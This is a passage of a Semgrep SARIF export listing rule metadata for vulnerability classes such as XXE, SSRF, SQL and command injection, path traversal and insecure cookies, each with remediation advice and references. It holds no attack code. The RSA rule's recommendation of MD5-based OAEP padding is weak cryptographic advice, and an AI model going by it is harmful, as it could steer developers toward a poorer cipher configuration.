Design","security"]},"shortDescription":{"text":"Semgrep Finding: swift.lang.storage.storage-protections.swift-data-protection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.audit.cookies.secure-false.secure-false)\n - [https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware](https://learn.microsoft.com/en-us/aspnet/core/security/authentication/cookie?view=aspnetcore-8.0#cookie-policy-middleware)\n - [https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions](https://learn.microsoft.com/en-us/dotnet/api/microsoft.aspnetcore.http.cookieoptions)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS. If this wasn't intentional, it's recommended to set the Secure flag to true so the cookie will only be sent over HTTPS or to use the Cookie Policy Middleware to globally set the Secure flag. You can then use the CookieOptions class when instantiating the cookie, which inherits these settings and will require future developers to have to explicitly override them on a case-by-case basis if needed. This approach ensures cookies are secure by default."},"helpUri":"https://semgrep.dev/r/csharp.lang.audit.cookies.secure-false.secure-false","id":"csharp.lang.audit.cookies.secure-false.secure-false","name":"csharp.lang.audit.cookies.secure-false.secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.audit.cookies.secure-false.secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"help":{"markdown":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override)\n - [https://www.jardinesoftware.net/2016/05/26/xxe-and-net/](https://www.jardinesoftware.net/2016/05/26/xxe-and-net/)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.xml.xmldocument.xmlresolver?view=net-6.0#remarks)\n","text":"XmlReaderSettings found with DtdProcessing.Parse on an XmlReader handling a string argument from a public method. Enabling Document Type Definition (DTD) parsing may cause XML External Entity (XXE) injection if supplied with user-controllable data."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","id":"csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","name":"csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.xxe.xmlreadersettings-unsafe-parser-override.xmlreadersettings-unsafe-parser-override"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead."},"help":{"markdown":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.lang.security.audit.rsa-padding-set.rsa-padding-set)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Usage of RSA without OAEP (Optimal Asymmetric Encryption Padding) may weaken encryption. This could lead to sensitive data exposure. Instead, use RSA with `OAEPWithMD5AndMGF1Padding` instead."},"helpUri":"https://semgrep.dev/r/scala.lang.security.audit.rsa-padding-set.rsa-padding-set","id":"scala.lang.security.audit.rsa-padding-set.rsa-padding-set","name":"scala.lang.security.audit.rsa-padding-set.rsa-padding-set","properties":{"precision":"very-high","tags":["CWE-780: Use of RSA Algorithm without OAEP","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: scala.lang.security.audit.rsa-padding-set.rsa-padding-set"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files. In Go, it is possible to sanitize user input and mitigate path traversal by using the built-in `filepath.Clean` function."},"helpUri":"https://semgrep.dev/r/go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","id":"go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","name":"go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.gin.path-traversal.gin-path-traversal-taint.gin-path-traversal-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true."},"help":{"markdown":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.force-ssl-false.force-ssl-false)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_force_ssl.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_force_ssl.rb)\n","text":"Checks for configuration setting of force_ssl to false. Force_ssl forces usage of HTTPS, which could lead to network interception of unencrypted application traffic. To fix, set config.force_ssl = true."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.force-ssl-false.force-ssl-false","id":"ruby.lang.security.force-ssl-false.force-ssl-false","name":"ruby.lang.security.force-ssl-false.force-ssl-false","properties":{"precision":"very-high","tags":["CWE-311: Missing Encryption of Sensitive Data","HIGH CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.force-ssl-false.force-ssl-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","id":"csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","name":"csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet-core.nosqli.mongodb-taint.mongodb-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"help":{"markdown":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#privilege-escalation)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n - [https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt](https://www.kernel.org/doc/Documentation/prctl/no_new_privs.txt)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag](https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html#rule-4-add-no-new-privileges-flag)\n","text":"In Kubernetes, each pod runs in its own isolated environment with its own set of security policies. However, certain container images may contain `setuid` or `setgid` binaries that could allow an attacker to perform privilege escalation and gain access to sensitive resources. To mitigate this risk, it's recommended to add a `securityContext` to the container in the pod, with the parameter `allowPrivilegeEscalation` set to `false`. This will prevent the container from running any privileged processes and limit the impact of any potential attacks. By adding the `allowPrivilegeEscalation` parameter to your the `securityContext`, you can help to ensure that your containerized applications are more secure and less vulnerable to privilege escalation attacks."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","id":"yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","name":"yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","MEDIUM CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.allow-privilege-escalation.allow-privilege-escalation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","id":"java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","name":"java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-ssrf-deepsemgrep-add.tainted-ssrf-deepsemgrep-add"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script)\n - [https://brightsec.com/blog/cross-site-scripting-php/](https://brightsec.com/blog/cross-site-scripting-php/)\n - [https://github.com/tolgadevsec/PHP-Security-Cheatsheet#cross-site-scripting](https://github.com/tolgadevsec/PHP-Security-Cheatsheet#cross-site-scripting)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. In PHP you can encode or sanitize user input with `htmlspecialchars` or use automatic context-aware escaping with a template engine such as Latte."},"helpUri":"https://semgrep.dev/r/php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","id":"php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","name":"php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.tainted-user-input-in-php-script.tainted-user-input-in-php-script"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"help":{"markdown":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask)\n - [https://cwe.mitre.org/data/definitions/117.html](https://cwe.mitre.org/data/definitions/117.html)\n - [https://flask.palletsprojects.com/en/2.3.x/logging/](https://flask.palletsprojects.com/en/2.3.x/logging/)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures)\n","text":"Detected a logger that logs user input without properly neutralizing the output. The log message could contain characters like ` ` and ` ` and cause an attacker to forge log entries or include malicious content into the logs. Use proper input validation and/or output encoding to prevent log entries from being forged."},"helpUri":"https://semgrep.dev/r/python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","id":"python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","name":"python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask","properties":{"precision":"very-high","tags":["CWE-117: Improper Output Neutralization for Logs","HIGH CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.log.tainted-log-injection-stdlib-flask.tainted-log-injection-stdlib-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"Detected input from a HTTPServletRequest going into a SQL sink or statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.sqli.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","id":"python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","name":"python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.peewee.python-peewee-mysql-empty-password.python-peewee-mysql-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function."},"help":{"markdown":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false)\n - [https://platform.openai.com/docs/actions/consequential-flag](https://platform.openai.com/docs/actions/consequential-flag)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design/](https://owasp.org/Top10/A04_2021-Insecure_Design/)\n - [https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf](https://owasp.org/www-project-top-10-for-large-language-model-applications/assets/PDF/OWASP-Top-10-for-LLMs-2023-v1_1.pdf)\n","text":"Found 'x-openai-isConsequential: false' in a state-changing HTTP method: $METHOD $PATH. This Action configuration will enable the 'Always Allow' option for state-changing HTTP methods, such as POST, PUT, PATCH, or DELETE. The risk of a user selecting the 'Always Allow' button is that the agent could perform unintended actions on behalf of the user. When working with sensitive functionality, it is always best to include a Human In The Loop (HITL) type of control. Consider the trade-off between security  and user friction and then make a risk-based decision about this function."},"helpUri":"https://semgrep.dev/r/yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","id":"yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","name":"yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false","properties":{"precision":"very-high","tags":["CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')","HIGH CONFIDENCE","OWASP-A04:2021 Insecure Design","OWASP-LLM08:2023 - Excessive Agency","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.openapi.security.openai-consequential-action-false.openai-consequential-action-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands. For more information, see: [Java command injection prevention](https://semgrep.dev/docs/cheat-sheets/java-command-injection/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-cmd-from-http-request-deepsemgrep.tainted-cmd-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability."},"help":{"markdown":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.reflect-makefunc.reflect-makefunc)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"'reflect.MakeFunc' detected. This will sidestep protections that are normally afforded by Go's type system. Audit this call and be sure that user input cannot be used to affect the code generated by MakeFunc; otherwise, you will have a serious security vulnerability."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.reflect-makefunc.reflect-makefunc","id":"go.lang.security.audit.reflect-makefunc.reflect-makefunc","name":"go.lang.security.audit.reflect-makefunc.reflect-makefunc","properties":{"precision":"very-high","tags":["CWE-913: Improper Control of Dynamically-Managed Code Resources","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.reflect-makefunc.reflect-makefunc"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command 